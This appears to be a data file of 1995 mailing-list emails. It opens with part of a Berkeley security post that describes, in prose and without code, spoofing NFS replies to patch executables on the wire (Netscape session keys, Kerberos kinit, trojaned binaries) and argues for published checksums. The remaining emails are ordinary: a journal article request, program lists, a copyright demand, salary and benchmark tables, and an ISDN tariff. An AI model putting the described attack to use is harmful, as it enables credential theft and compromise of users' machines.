servers. In these systems there are provisions for sophisticated access checks to determine file permissions, at open or handle lookup time. But the file contents that are read from the server are not authenticated in any secure way. The client has no way to determine if the bytes are indeed being sent by the server. Our first attack model is one in which the attacker has (promiscuous) network access to any machine on any ethernet subnet between the fileserver and the clients under attack. In under a day we produced software that can exploit the lack of authentication in NFS to patch the object code of any executable on-the-wire as it travels between the NFS server and the client machine. The technical details of the attack are rather simple. To retrieve data from the NFS server a client sends a short request message detailing which block from the file it is interested in (where a block is a range of bytes). The attack software is located on an ethernet segment between the client and the NFS server, so is able to snoop this traffic. The attack software snoops, waiting for any request for a particular block of a particular executable; for example, the block containing the session-key generation code in the Netscape executable. It is then able to forge a reply from the NFS server and transmit it to the client. If the forged packet reaches the client before the legitimate reply, it is accepted and the legitimate reply is discarded as a duplicate. There is obviously a race condition between the injection of the forged response and the true response. Since the attacking software is focused solely on this task, while the fileserver is certainly servicing requests from many clients, it stands a very good chance of winning the race. We have observed that the attacking software wins the race a large fraction of the time. Given this ability it becomes possible to compromise the security features of any executable loaded from the network. We have examined the Netscape v1.1N executable and located the code that selects the session key. By patching only 4 bytes we were able to cause the selection of a predictable session key every time the browser engages in the SSL protocol. It is then trivial to snoop and decrypt all traffic from the browser to secure servers, obtaining credit card numbers or other private information. Since this is really an attack on the client, it is not limited to the Netscape browser. On the contrary, it is extremely widely applicable. An appropriate patch to the Kerberos kinit executable makes possible the compromise of any passwords entered by users, and therefore all of the authentication facilities provided by Kerberos. In many environments, including our own here at UC Berkeley, all the Kerberos application binaries are served from an NFS server. This represents a major flaw in security as our attack demonstrates. Having authenticated file services (kerberized NFS or AFS) is useless if the integrity of the kinit executable cannot be ensured (most easily by obtaining it from local disk). However, making local copies of crucial binaries is not sufficient in the face of a more serious set of variants on the NFS spoofing attack. The spoofing software can be placed as before, in a position to snoop requests to the NFS server. As clients issue a lookup filehandle request the spoofing software can return the handle to a different executable and also forge its attributes. By tricking users into executing code that is setuid root, unlimited access to the client's workstation can be obtained easily. It is possible to mount NFS partitions so that setuid root executables will not be honored by the client. Still, the spoofing software can make arbitrary NFS filehandle lookup requests succeed, and substitute a trojan of some sort. The attacker could cause misspellings of commonly executed commands to appear to succeed, or could spoof other files that are trusted by the operating system. For example, the user's .login file is a natural and easy target from which to leverage further damage. This implies that it is unsafe to execute any program obtained via an insecure channel to an NFS server, no matter what the privilege level of the client user. Neither is it limited to NFS or file-serving protocols in particular. Protocols based on TCP, rather than UDP, are just as vulnerable. It is possible to hijack non-authenticated TCP connections, although it is somewhat more complicated. Attacks based on spoofing traffic coming from the distribution site of popular software packages is also possible. Berkeley, for example, is a mirror site for the Netscape browser. Any student with promiscuous network access on a machine between the ftp server and the main link to the larger Internet could have installed similar patching software to patch the huge number of copies of the binary that were retrieved from server.berkeley.edu. More mundane attacks based on trojan horses or viruses remain viable today. These attacks must exploit some other weakness in a system's security to infiltrate, but once in place they can perform patches to local binaries to fully compromise a system. Previously such attacks were mostly motived only by ego or malice; it is now more valuable to compromise a client invisibly, so that the user believes the system is secure. Thus, unlike traditional viruses, the new strains will aim to have no visible effect on the system, thus making them difficult to detect and easy to spread unintentionally. Our patch of Netscape has this flavor. We realize that it is impossible to eliminate all security holes; one can always question whether it is safe to trust the hardware, or whether outside channels used for communication of public keys or checksums are truly secure, etc. Fortunately, in practice it should suffice to handle far less than all of these risks. We hope to have demonstrated one gaping hole in practical security today, and to have highlighted the problem of the trusted endpoint. There is one simple step that we can suggest that would go a long way towards improving the security of endpoints. Increasing the practice of software providers widely publishing cryptographically secure checksums of their executables would be extremely helpful. A small amount of paranoia and care must be applied to securing the executables used in the verification process. A read-only floppy disk would be appropriate to hold the verification software, for example. We are concerned that security on users' workstations and PCs is currently insufficient. When real money is at stake, endpoint security must withstand greater scrutiny. In summary, protecting the communications channel doesn't help if the endpoints can be subverted. We implemented and discussed several related attacks that replace legitimate programs by compromised versions. Until we can trust every program that executes between the time we boot and the time we finish the secure protocol, we cannot reliably authenticate anything. Today there is no basis for this trust. Eric Brewer, brewer@cs.berkeley.edu Paul Gauthier, gauthier@cs.berkeley.edu Ian Goldberg, iang@cs.berkeley.edu David Wagner, daw@cs.berkeley.edu A copy of this post is available as http://http.cs.berkeley.edu/~gauthier/endpoint-security.html --- end forwarded text ----------------- Robert Hettinga (rah@shipwright.com) Shipwright Development Corporation, 44 Farquhar Street, Boston, MA 02131 USA (617) 323-7923 ""Reality is not optional."" --Thomas Sowell >>>>Phree Phil: Email: zldf@clark.net http://www.netresponse.com/zldf <<<<< -- Dave Dittrich Client Services, Computing & Communications dittrich@cac.washington.edu University of Washington Dave Dittrich / dittrich@cac.washington.edu",0,1 """Dembner, Steve (FOD)"" ",Multiple recipients of list ,"Fri, 27 Oct 1995 08:52:00 -0500",Windbreak article for Unasylva?,"Dear erosion netters, The April 1996 issue of Unasylva, the quarterly international journal of forestry and forest industries published by FAO, will focus on ""forest influences"", i.e., the role of forests and trees in moderating and ameliorating the environment at local and global levels. of forest products. The articles in the issue will cover a number of facets of the focus topic, and will attempt to maintain a geographic balance as well. As you will see from the attached list of articles/authors currently under consideration for the issue, one of the articles that we hoped to include in this issue was a focus on the local effects of windbreaks on agricultural crops, and our plan was to have something from the Forest Research Insitute of New Zealand. Unfortunately, this article has not materialized and in doing follow-up background research on the World Wide Web, I came across the reference to the Wind Erosion Dicussion List . So my question is whether any of you might be able to direct me to an unpublished or recently published but not widely distributed paper that might, with some editorial adaptation, be appropriate for inclusion in this issue of Unasylva. The idea of the article would be to make the case about the role of trees as windbreaks in agricultural cropping by focuing on a single or limited number of studies. In a perfect world, the article would focus on at least some research conducted in the third world and would be co-authored by a developing country author. To complicate the whole matter, we are terribly behind deadline. There certainly is not time for any new writing. We would need something in more or less finished form, and within the next ten days or so. So, can any of you pull a rabbit out of the hat for me? Or maybe even a squirrel? Please note, I have contacted WERU directly as well. I would very much appreciate any suggestions you might be able to offer. Yours sincerely, Stephen A. Dembner Editor, Unasylva Unasylva No. 185, publication date April 1996, copy deadline mid-October 1995 ""Forest influences"" List of articles/authors currently under consideration This issue will focus on""forest influences"", or the role of forests and trees in moderating and ameliorating the environment at local and global levels. Specific articles/authors currently under consideration include: fSan article dealing with the latest information on the role of forests in the global warming debate. Confirmed author Dr. Sandra BrownUS EPA, Corvalis, Oregon; fSa research-oriented article on the role of watershed management in ameliorating local or regional environment. Confirmed author M. Meunier, CEMAGREF, France; fSan article focusing on local effects of windbreaks on agricultural crops - focus on New Zealand. Author to be identified; fSan article focusing on dryland issues related to forest influences, focusing on constraints that have limited the success of greenbelt development. Confirmed author S. Murray, USA; fSan article debunking myths related to forest influences. The point of this article would be to set the record straight regarding some of the roles or potential erroneously attributed to forests and trees. For example, the ""Amazon as the lungs of the world"". Input to be solicited from multiple sources and coordinated by Unasylva editor; fSan article dealing with the role of trees in nutrient recycling. Proposed author Mr Pedro Sanchez, Executive Director of ICRAF; fSan article dealing with psychological influences - for example, some interesting studies that indicate that hospital patients who could see trees from their windows recovered more quickly than those who could not. Author to be identifed. ",0,0 Travis Linn ,plancom@equinox.unr.edu,"Mon, 06 Nov 1995 21:48:13 -0800",New Program Possibilities,"A first look at submissions by the deans. This list of new program possibilities was shared with UNLV on Friday. It is a complete list of proposals submitted by deans. ====================================================================== NEW PROGRAM POSSIBILITIES Submitted by deans for possible inclusion in the Academic Master Plan. Arts and Science Bachelor of Fine Arts Master of Fine Arts (Theater) Ph.D. in Sociology (reactivation) Oral Communication Across the Curriculum Speech Center Master's in Criminal Justice Bachelor's in Environmental Arts and Humanities Master's in Environmental Arts and Humanities Ph.D. in Environmental Arts and Humanities Education Master's in Instructional Information Technology Ph.D. in Instructional Information Technology Master's in Addiction Counseling Interdisciplinary Graduate Program in Early Childhood Education (shared with HCS) Human and Community Sciences RN to Master's in Nursing Ph.D. in Individual and Family Studies Interdisciplinary Graduate Program in Early Childhood Education (shared with Education) Formation of new unit involving HS and RPED - major curricular revision Mackay School of Mines Bachelor's in Industrial Minerals Science Graduate Program in Chemical Engineering Las Vegas Office for NBMG and Seismology Ph.D. in Mining and Geological Engineering ? in Environmental Engineering Ph.D. in Earthquake Engineering Medicine School of Pharmacy ",0,0 Lois E Ledbetter ,plancom@equinox.unr.edu,"Tue, 07 Nov 1995 07:28:07 -0800",Re: New Program Possibilities,"We have received a few corrections from Mines: The Industrial Minerals Science program is a master's instead of a bachelor's; the Enviornmental Engineering degree is a graduate degree; delete the Ph.D. in Earthquake Engineering. Lois On Mon, 6 Nov 1995, Travis Linn wrote: > A first look at submissions by the deans. This list of new program > possibilities was shared with UNLV on Friday. It is a complete list of > proposals submitted by deans. > > ====================================================================== > > > NEW PROGRAM POSSIBILITIES > > Submitted by deans for possible inclusion in the Academic Master Plan. > > Arts and Science > > Bachelor of Fine Arts > Master of Fine Arts (Theater) > Ph.D. in Sociology (reactivation) > Oral Communication Across the Curriculum > Speech Center > Master's in Criminal Justice > Bachelor's in Environmental Arts and Humanities > Master's in Environmental Arts and Humanities > Ph.D. in Environmental Arts and Humanities > > Education > > Master's in Instructional Information Technology > Ph.D. in Instructional Information Technology > Master's in Addiction Counseling > Interdisciplinary Graduate Program in Early Childhood Education > (shared with HCS) > > Human and Community Sciences > > RN to Master's in Nursing > Ph.D. in Individual and Family Studies > Interdisciplinary Graduate Program in Early Childhood Education (shared > with Education) > Formation of new unit involving HS and RPED - major curricular revision > > Mackay School of Mines > > Bachelor's in Industrial Minerals Science > Graduate Program in Chemical Engineering > Las Vegas Office for NBMG and Seismology > Ph.D. in Mining and Geological Engineering > ? in Environmental Engineering > Ph.D. in Earthquake Engineering > > Medicine > > School of Pharmacy > ",0,0 Paul Resnick ,"jmiller@MIT.EDU, klensin@mail1.reston.mci.net","Tue, 14 Nov 1995 19:08:49 -0500",proposed replacement for first paragraph of section,"Requesting Labels Separately PICS labels can also be retrieved separately from the documents to which they refer. To request labels in this way, a client contacts a a label bureau. A label bureau is an HTTP server that understands a particular query syntax, defined below. It can provide labels for documents that reside on other servers, and, indeed, for documents available through protocols other than http. It is anticipated that there will be ""well-known"" label bureaus which dispense (possibly for a fee) labels created by many label services. Label services are also encouraged to act as label bureaus, providing on-line access to their own labels. By default, the URL that identifies a label service also identifies its label bureau. If a client requests the URL that identifies a rating service, a human-readable description of the service is returned. If, on the other hand, a client requests the same URL and includes query parameters as defined below, it should be interpreted as a request for labels. A label service, however, is not required to act as a label bureau, and it may choose a different URL (perhaps even on a different HTTP server) to act as its label bureau. ------------------------------------------------------------ Paul Resnick AT&T Bell Laboratories Public Policy Research Room 2C-430B 908-582-5370 (voice) 600 Mountain Avenue 908-582-4113 (fax) P.O. Box 636 Murray Hill, NJ 07974-0636",0,0 Helena Kobrin ,dst+@cs.cmu.edu,"Wed, 15 Nov 1995 22:31:13 -0800",Unauthorized use of copyright and trade secret materials," Dear Mr. Tourestzky: I have just been informed that you again have the so-called ""Fishman affidavit"" on your web page which is accessible at http://www.cs.cmu.edu/~dst/Fishman/Declaration/index.html. I am putting you on notice on the following: As you are aware, I represent Religious Technology Center (""RTC""), which is the owner of the confidential Advanced Technology of the religion of Scientology, and the holder of exclusive rights under the copyrights applicable to the Advanced Technology materials. The Fishman affidavit contains copyrighted and trade secret materials which you posted onto your Web site without the authorization of my clients, which, of course, would not have given such authorization had it been requested. This posting constitutes violation of the United States Copyright laws, and also violates trade secret laws. I therefore demand that you remove these materials immediately. You should also be informed, as you might be aware of, that there are currently pending two separate lawsuits regarding postings of these same materials in different jurisdictions of the United States, and a third suit regarding posting of Advanced Technology materials. In addition a similar legal action has also been filed in Holland against some access providers and individuals that have posted the same documents on their web pages. We are not seeking to become involved in additional litigation, but will take all necessary measures to protect these proprietary materials. I am sure that your University has no interest in being an instrumentality of copyright infringement or trade secret misappropriation. I will be notifying the University's attorney. Please advise as soon as you receive this e-mail what actions you will take. This is the second time that you are infringing upon my client's rights and I therefore must urge you that speed in dealing with this situation is critical and we will not hesitate to take immediate actions in case you are not willing to remove the infringing materials from your site on an immediate basis. Sincerely, Helena Kobrin ",0,1 john r hubbard ,325@urvax.urich.edu,"Fri, 17 Nov 1995 09:05:59 -0500",Database Administrator Salaries,"Here are the results of a recent survey of Database Administrator openings: Location Job Description Experience Salary ($US) _________________________________________________________________ Southeastern USA Pick DBA 3 yrs. 28k (28,000) Mcallen, TX DBA 2 28k New York City DBA 3 28k Santa Clara, CA Unix/Piopen DBA 5 34k Fresno, CA Oracle DBA - 35k Western NY non-profit DBA 3 35k Huntsville, AL DBA 3 38k Southeastern US FoxPro DBA - 38k USA Paradox DBA 12 40k Indiana Informix 1 40k Boulder, CO DBA - 43k North Carolina DBA - 43k USA DBA 3 43k Columbia, SC Sybase/DB2 DBA - 45k Jacksonville, FL Unix DBA 13 45k Milwaukee, WI FoxPro DBA - 45k Nebraska Army DBA 1 45k Florida Oracle DBA - 46k Columbia, SC Sybase DBA - 46k Richardson, TX DBA 5 46k Thailand DBA - 50k Minneapolis, MN Oracle DBA 3 50k Seattle, WA Oracle DBA 2 50k Los Angeles, CA Oracle DBA 4 50k Senior and Contract DBA's ------------------------- NE Florida DB2, Informix DBA 3 58k Northern NJ Sybase DBA 2 60k London, UK DBA 5 60k Columbia, SC Sybase Consultant - 62k Brookline, MA Oracle DBA - 70k Midwest USA DB2 DBA 14 71k Princeton, NJ DBA - 75k Malpitas, CA DBA - 76k Foreign DBA's ----------------- Canadian DBA 0 $38k CAN Vancouver, BC, CAN Contractor DBA - $45/hr CAN UK Unix DBA - 30k pounds UK UK DBA 5 35k pounds UK Germany Consultant - 100 DM/hr UK RdB DBA 3 29k pounds UK London, UK DBA - 34k pounds UK W. Canada Oracle DBA - $55-70k CAN Switzerland DBA 8 6k francs per month Baffin Island, CAN Access DBA 2 $50k CAN Melbourne, Australia contract DBA 2 $72k AU UK contract DBA 0 38k pounds UK Sydney, AU DBA - $60k AU Germany DBA - $60-80k (American) ",0,0 Shannon Bradford ,"David Ranch , Neil Jackson , David Howell , Sheldon Brabrook ","Fri, 01 Dec 1995 11:00:07 -0800",complst5.html (fwd)," Here's a list of benchmarks for motherboards that I thought you might find useful. Shannon Scores List for Norton SI ver. 8.0 _________________________________________________________________ Note: I am now only accepting scores for Intel Pentium 60mhz systems and faster. Please do not send me scores for systems below the P5-60. Thank you. _________________________________________________________________ If you would like to submit your results, click here. Thats right, no more sending me mail to submit your results, because I've written a forms interface! It should make it alot easier on you. Send comments on this or anything else to me at sdw@dfw.net. This scores list was compiled because of the fact people sent in their results, so please add your score if you're reading it! :) The list was started in February '95 and I will continue accepting scores indefinately. Even if you feel that you don't have the fastest system, your score can still be helpful to others. For those of you that have submitted your scores in the last couple of weeks and have not yet seen them appear in the list, please be patient. I have been very busy and am doing my best to add them. I added as many as I could a few days (11/10/95) and will continue until they are all there. They should all be there by 11/20/95.. I especially need scores from people with name brand systems (or at least I've had requests for such scores). Examples of such would include: Dell, Compaq, Micron, Midwest Micro, IBM, Zeos, etc. All of the boards in this list have been optimized for the best performance possible while still maintaining complete system integrity. Please make sure your system will not freeze up or do anything really abnormal before sending me your score. I would like to keep the list as accurate as possible. MB/Chipset CPU* Cache RAM SI Rating ===================================================================== Pentium >133mhz =============== SuperMicro P55CMS P5/133 oc-180mhz 256k 569.8 w/ Triton (Sync) (CPU #SK098) (Submitted by Intel employee) SuperMicro P55CMA P5/133 oc-180mhz 256k 569.7 w/ Triton (Asynch) (CPU #SK098) Pentium 133mhz ============== Micron P5/133 256k 500.1 Millenia P133 SOYO 5TA2/A5 P5/133 256k 422.9 w/ Triton SuperMicro P55CMS P5/133 512k 421.4 w/ Triton 82437FX SuperMicro P55CMS P5/133 256k 421.4 w/ Triton 82437FX (burst sync cache) ASUS P\\I-P55TP4 P5/133 256k 420.9 w/ Triton Intel P5/120 oc-133mhz 256k 420.5 Advanced ZP w/ Triton ASUS P55TP4XE P5/133 256k 420.3 w/ Triton and Pipeline cache Intel Triton P5/120 oc-133mhz 256k 389.3 Advanced ZP w/ Triton 82430FX Pentium 120mhz ============== SuperMicro P5/100 oc-120mhz 256k 380.7 P55CWA (EDORAM) Micron Millenia P5/120 256k 380.3 w/ Triton (10ns Sync-Burst) (also EDORAM) Auva P5/120 256k 380.2 w/ Triton MicroXperts w/ P5/120 256k 380.2 Triton-(3/8/95) SuperMicro P5/120 512k 380.2 P54CI Intel P5/120 256k 379.9 Advanced ZP w/ Triton Intel Morrison P5/90 oc-120mhz 256k 379.7 w/ Triton Intel Zappa P5/100 oc-120mhz 256k 379.5 w/ Triton 82437FX (also EDORAM) ASUS P55TP4 P5/90 oc-120mhz 256k 379.4 w/ Triton Intel Plato P5/90 oc-120mhz 256k 378.2 (modified for 2x clock) Pentium 100mhz ============== SuperMicro P5/75 oc-100mhz 256k 318.0 P55CWA Gigabyte GA-586AP P5/90 oc-100mhz 256k 317.6 w/ ALI M14515 Gigabyte GA-586 P5/100 256k (20ns) 317.6 w/ Neptune II Gigabyte GA-586IP P5/100 256k (12ns) 317.4 w/ Neptune II (8243X) Sirius P5/100 256k 317.1 w/ VIA570 ASUS P54/TP4 P5/90 oc-100mhz 256k 316.8 w/ Triton ASUS SP4 w/ P5/90 oc-100mhz 512k 316.8 SIS 501 ASUS P54/SP4 P5/90 oc-100mhz 256k 316.8 w/ SIS 501 Fugu M505 P5/75 oc-100mhz 256k 316.2 w/ Triton SuperMicro P5/100 256k 316.0 P55CWA w/Triton Intel ZP ED w/ P5/100 0k 316.0 Triton (Zappa) with EDRAM GMB P54IPS P5/75 oc-100mhz 256k 315.5 w/ Triton ASUS P55TP4XE P5/100 256k 315.5 w/ Triton Microstar MS-5114 P5/100 256k 315.5 w/ VLSI ASUS P55TP4XE P5/100 256k 315.2 w/ Triton Triton based P5/90 oc-100mhz 256k 315.4 SuperMicro P5/90 oc-100mhz 256k 315.0 w/ SIS Intel Plato P5/90 oc-100mhz 256k 314.7 (Neptune) SuperMicro P54-C P5/100 256k 314.6 w/ Opti-Viper Intel TR1? P5/75 oc-100mhz 256k 314.1 w/ Triton Pentium 90mhz ============= SuperMicro P55CMS P5/90 256k 286.3 w/ Triton Intel Neptune P5/90 256k 285.9 Gigabyte GA586-IP P5/90 256k (12ns) 285.9 w/ Neptune II Zeos Pantera w/ P5/90 256k 285.9 Neptune Intel Plato w/ P5/90 256k 285.8 Neptune Intel Plato P5/90 256k 285.7 Premiere II ASUS PCI-P54TP4 P5/90 256k 285.2 w/ Triton ASUS SP4 w/ P5/75 oc-90mhz 512k 285.2 SIS 501 Microstar MS-5109 P5/90 256k 285.2 w/ SIS 50X ASUS SP4 w/ P5/90 512k 285.2 SIS 501 Microstar MS-5109 P5/75 oc-90mhz 256k 285.1 w/ SIS 50X Unitech MS-5118 P5/90 256k 284.8 w/ SiS502x ASUS P55TP4 P5/90 256k 284.6 w/ Triton Tyan Titan-II P5/90 256k 284.6 w/Triton Intel ZP ED w/ P5/90 0k 284.6 Triton (Zappa) with EDRAM Intel Zappa P5/90 256k 284.4 w/ Triton PCI TR1 P5/75 oc-90mhz 256k 282.7 w/ Triton Intel Plato w/ P5/90 256k 274.9 Neptune ASUS Cyrix 5x86 (M1) 512k 263.9 VL/I-486-SV2GX4 100mhz rev 2.0 ECS UM8810P-AI0 Cyrix 5x86 (M1) 256k 263.7 w/ UM8881/6 100mhz Alaris NexGen P90 NexGen-90mhz 256k 250.5 Pentium OD 83mhz ================ ASUS PCI-I486 SP3G P OD/83 256k 264.1 w/ 82420 Saturn II Firenze Labs P OD/83 256k 263.6 486 ""Green"" w/ SIS471 SOYO 80486 P OD/83 256k 262.9 w/ SiS496/497 Pentium 75mhz ============= BCM SQ588 PCI P5/75 256k 238.2 ASUS TP4 w/ P5/75 256k 237.7 Triton Asynch SRAM ASUS SP4 w/ P5/75 512k 237.0 SIS 501 Intel ZP ED w/ P5/75 0k 236.2 Triton (Zappa) with EDRAM EIS pentium P5/75 256k 236.0 w/ Triton PCI TR1 P5/75 256k 235.6 w/ Triton 486 DX4/120mhz ============== ASUS PVI-SP3 Enhanced aDX4/120 256k 259.8 ASUS PVI-SP3 Enhanced aDX4/120 256k 259.3 ECS UM8810P-AIO aDX4/120 256k 259.3 v2.1 w/ UMC SOYO A2 Enhanced aDX4/120 256k 259.2 Gigabyte 486VF aDX2/80 oc-120mhz 256k(15ns) 238.9 (Runs Flaw- 3x mode (40mhz bus) lessly) MTI Deep Green aDX4/120 256k 238.9 SIS 471g Gigabyte VS aDX4/120 256k 238.2 w/ SIS471 ASUS PVI-SP3 aDX4/100 oc-120mhz 256k(15ns) 238.2 (Runs Flaw- 3x mode (40mhz bus) lessly) Acer VI15G/DX4 aDX4/100 oc-120mhz 256k 238.1 w/ SIS471 ASUS GX4 v2.0 aDX4/120 256k 238.0 w/ SiS471 Soyo SY-025R2 aDX4/120 256k 237.7 w/ UMC491 ASUS PVI-SP3 aDX4/120 256k 237.7 w/ SiS496/7 Andromeda aDX4/100 oc-120mhz 256k(20ns) 237.7 PerComp-NT2177 3x mode (40mhz bus) 15ns Tag (Runs Flaw- lessly) FuGu Tech iDX4/100 oc-120mhz 256k(15ns) 237.7 (see bottom 3x mode (40mhz bus) of list) SiS 496/7 aDX4/100 oc-120mhz 512k 237.6 ASUS PVI-SP3 aDX4/100 oc-120mhz 256k 237.6 w/ SIS496 Pentium 66mhz ============= Intel P5/66 256k 211.2 Batman Revenge (Premiere) Microstar MS-5109 P5/66 256k 210.3 w/ SIS 50X ASUS PCI/I486 Pentium OD 63mhz 256k 198.8 SP3G Pentium 60mhz ============= Intel Premiere P5/60 256k 191.7 Batman w/ Intel Mercury DELL XPS P60 P5/60 256k 190.0 IBM Clone P5/60 256k 187.2 w/ Premiere MB 486 DX4/100mhz** ================ EliteGroup (ECS) iDX4/100 512k (15ns) 220.7 SA486P AIO-II 2x mode w/ Intel CDC FRL aDX4/100 256k 218.3 w/ SIS471G SiS471G aDX4/100 256k 216.5 2x mode Acer Vi15G iDX4/100 256k 216.5 w/ SIS471 2x mode ASUS PVI-SP3 aDX4/100 256k 216.5 2x mode UMC U8450UUC aDX4/100 256k 216.1 UM8881P - AIO aDX2/80 oc-100mhz 256k 216.1 PC Chip aDX2/80 oc-100mhz 256k 216.1 2x mode OPTi895P3 aDX2/80 oc-100mhz 256k 216.0 2x mode Deep Green aDX4/100 128k 199.8 PC-Chips Opti895P3 aDX4/100 256k 199.8 ASUS PCI/ aDX4/100 256k 198.7 I-486SP3G ASUS PVI-SP3 aDX4/100 256k 198.5 486F38X-X4 aDX4/100 512k 198.5 SIS 471 ASUS PVI-SP3 aDX4/100 256k 198.5 SiS471 aDX2/80 oc 100mhz 256k 198.4 Acer Vi15G aDX4/100 256k 198.4 w/ SiS471 2x mode Acer Vi15G aDX4/100 256k 198.4 w/ SiS471 SIS 471 aDX4/100 256k 198.2 ASUS PVI-SP3 iDX4/100 256k 198.2 w/ SIS496/497 GigaByte iDX4/100 256k 198.2 GA-486AM (UM8881) ASUS SV2GX4 aDX4/100 256k 198.2 w/ SIS 471 2x mode FuGu Tech iDX4/100 256k 198.1 ASUS PVI-SP3 aDX4/100 256k 198.1 UMC iDX4/100 128k 198.1 Percomp aDX4/100 256k 198.1 ASUS PVI-SP3 aDX4/100 256k 198.0 w/ SIS496 SIS 471 aDX4/100 256k 197.5 VL/ISA-PB486P3 aDX4/100 256k 197.1 w/ OPTi895 Acer AP41 aDX4/100 256k 197.1 w/ SIS496 OPTi895P3 aDX4/100 256k 197.1 AIR VLB*** aDX4/100 256k 136.0 486DX4/75mhz ============ ASUS PCI/I-486 iDX4/75 256k 148.7 SP3G IBM BL75 cDX/75 256k 111.2 486 DX2/80mhz ============= ASUS MB w/ iDX2/66 oc-80mhz 256k 173.8 SIS Acer Vi15G aDX2/80 256k 173.2 SIS 471 SIS 471 aDX2/80 256k 173.2 SIS 471 IDX2/66 oc-80mhz 64k 172.9 Fre Tech. aDX2/80 256k 172.9 w/ SIS 493X SOYO w/ aDX2/80 256k 172.8 Opti OPTi895P3 aDX2/80 256k 172.8 UMC Chipset iDX2/66 oc-80mhz 256k 172.0 Soyo MB w/ aDX2/80 256k 158.4 SIS 493 Asaki AH004 aDX2/80 0k 153.0 486 DX2/66mhz ============= Elitegroup (ECS) iDX2/66 256k 147.3 SA486P AIO-II INTEL CDC,SIO&DPU Soyo MB w/ iDX2/66 256k 145.3 SIS 493 SIS 471 iDX2/66 256k 144.5 SIS 471 aDX2/66 256k 144.5 Acer Vi15G iDX2/66 256k 144.3 SIS 471 486F38X-X4 iDX2/66 512k 144.3 SIS 471 UMC iDX2/66 256k 144.1 FuGu Tech iDX2/66 256k 144.0 ASUS PVI-4SP3 iDX2/66 256k 144.0 w/ SIS496 UMC MB w/ iDX2/66 256k 144.0 Opti Andromeda w/ iDX2/66 256k 144.0 Percomp-NT2177 SIS 401 iDX2/66 256k 144.0 Opti MB iDX2/66 256k 142.7 (AMI-1993) Intel iDX2/66 256k 129.0 Saturn Compaq iDX2/66 256k 126.1 Prolinea 4/50 486's under 66mhz ================= Acer Vi15G iDX2/50 256k 108.2 SIS 471 Acer Vi15G iDX/50 256k 108.2 SIS 471 MCII Nice iDX/50 256k 108.1 Super EISA w/ SiS411 TMC PET 48PX v1.11 iDX/50 256k 108.0 w/ OPTi 82c6xx EISA Forex 36C100/ cDRx2/33 128k 92.4 36C200 Acer Vi15G aDX/40 256k 86.6 SIS 471 ECS ALI II w/ aDX/40 256k 86.4 ALI 1429 Acer Vi15G cDX/50 256k 85.0 SIS 471 AST Bravo iDX2/40 128k 78.2 Elonex PC w/ i486SX/25 oc-33mhz 64k 72.2 Symphony Acer Vi15G iDX/33 256k 72.1 SIS 471 Acer Vi15G c486S/40 256k 68.0 SIS 471 Forex 36C100 cDLC/40 128k 65.4 Acer Vi15G c486S/33 256k 56.7 SIS 471 Forex 36C100 cDLC/33 128k 54.6 Acer Vi15G iDX/25 256k 54.1 SIS 471 AST Bravo iSX2/20 128k 43.2 Acer Vi15G c486S/25 256k 42.5 SIS 471 386's ===== Forex 36C100 iDX/40 128k 43.1 Soyo w/ aDX/40 128k 41.3 Opti Forex 36C100 iDX/33 128k 35.9 Other CPU's =========== Forex 36C100 iRapidCAD/40 128k 42.1 Forex 36C100 iRapidCAD/33 128k 35.2 Forex 36C100 C&T 38600DX + 128k 34.4 Cyrix 83D87 Mathco. * 'oc' denotes overclocked, 'a' denotes AMD, 'i' denotes Intel, 'c' denotes Cyrix. (i.e.- aDX4/100 = AMD DX4/100; iDX4/100 = Intel DX4/100.). ** 3x mode unless specified. *** Board not set to 0 wait-states. -- The FuGu Tech 120mhz board is unstable running SVGA applications from the cd-rom drive. If anyone knows how to combat this please let me (sdw@dfw.net) know. _________________________________________________________________ List updated daily. Send Comments or Suggestions to --- sdw@dfw.net ",0,0 David Frankel ,"dank@alumni.caltech.edu, bob@larribeau.com","Fri, 29 Dec 1995 09:13:39 -0800",PB ISDN Tariff Proposal (long),"Dan and Bob, Thanks to the CPUC and PacBell Regulatory, I got my paws on a paper copy of this month's ISDN tariff filing. It's hundreds of pages, but of course mostly drivel. I scanned in the ""good stuff"" in an attempt to generate an electronic version that could be more easily distributed. I apologize in advance for any errors made by me or the OCR software (but not for those made by Pacific Bell). I've got my own set of opinions about what's right and what's wrong with this proposal, but I'll save those for a separate discussion. I know that you both deal with lots of folks that might be interested in this stuff, so I'm passing this on to you for you to use as you see fit. Happy New Year! David David Frankel Jetstream Communications Tel: 408-777-4333 1054 S. DeAnza Blvd., Suite 110 Fax: 408-777-4343 San Jose, CA 95129 dfrankel@jetstream.com BEFORE THE PUBLIC UTILITIES COMMISSION OF THE STATE OF CALIFORNIA In the Matter of the Application ) of Pacific Bell (U 1001 C), ) a corporation, for Authority to Increase) and Restructure Certain Rates of its ) Application No. 95-12-043 Integrated Services Digital Network ) Services ) APPLICATION OF PACIFIC BELL (U 1001 C) TO INCREASE AND RESTRUCTURE CERTAIN RATES OF ITS INTEGRATED SERVICES DIGITAL NETWORK SERVICES Pursuant to Public Utilities Code Section 454 and Article 4 of the Commission's Rules of Practice and Procedures, we respectfully request that the Commission approve our proposed new rate structure and new rate elements for certain Integrated Services Digital Network (""ISDN"") services offered under Schedule Cal.P.U.C. Nos. A5.4.l and A9.l.l, and approve these changes in the form of permanent tariffs. I. FORMAL REQUIREMENTS 1. Rule 15(a). Applicant, Pacific Bell, is a corporation organized under the laws of California. Its principal place of business is 140 New Montgomery Street, San Francisco, California 94105. 2. Rule 15(b). Correspondence or communications concerning this Application may be directed to: Dan 0. Jacobsen Pacific Bell Room 2W750X 2600 Camino Ramon, San Ramon, CA 94583 Telephone: (510) 823-7411 Facsimile: (510) 867-0581 Counsel should direct communications, motions, letters, requests for information and pleadings to: Larry S. Bercovich Pacific Bell Room 2W804 2600 Camino Rarnon, San Ramon, CA 94583 Telephone: (510) 355-4019 Facsimile: (510) 867-0150 3. Rule 16. A copy of our articles of incorporation, as amended, was filed with the Commission on June 30, 1993 in Application No. 93-06-061, and is incorporated herein by reference. 4. Rule 17.1. Proponent's Environmental Assessment. We believe that there is no possibility that the project in question may have a significant adverse effect on the environment. No significant environmental impacts are anticipated from the increase and restructuring of rates for ISDN. 5. Rule 23. Rules 23 (a), (b)and (c). Our most current balance sheet and income statement arc attached (Exhibit A), along with a statement of current and proposed rates (Exhibit B), tariff sheets (Exhibit C), and revenue effects (Exhibit D). Our gross revenues are not expected to increase by more than one percent as a result of the proposed change. Rules 23(e) and (f. We request a waiver of these rules on the basis that they are inconsistent ' with the incentive based regulation adopted by the Commission in Decision No. 89-10-031. (At page 331 of Decision No.89-10-031 (October 12,1989) (mimeo.) the Commission said: ""The new regulatory framework adopted today eliminates general rate case proceedings."" See also, p. 216a.) To the extent 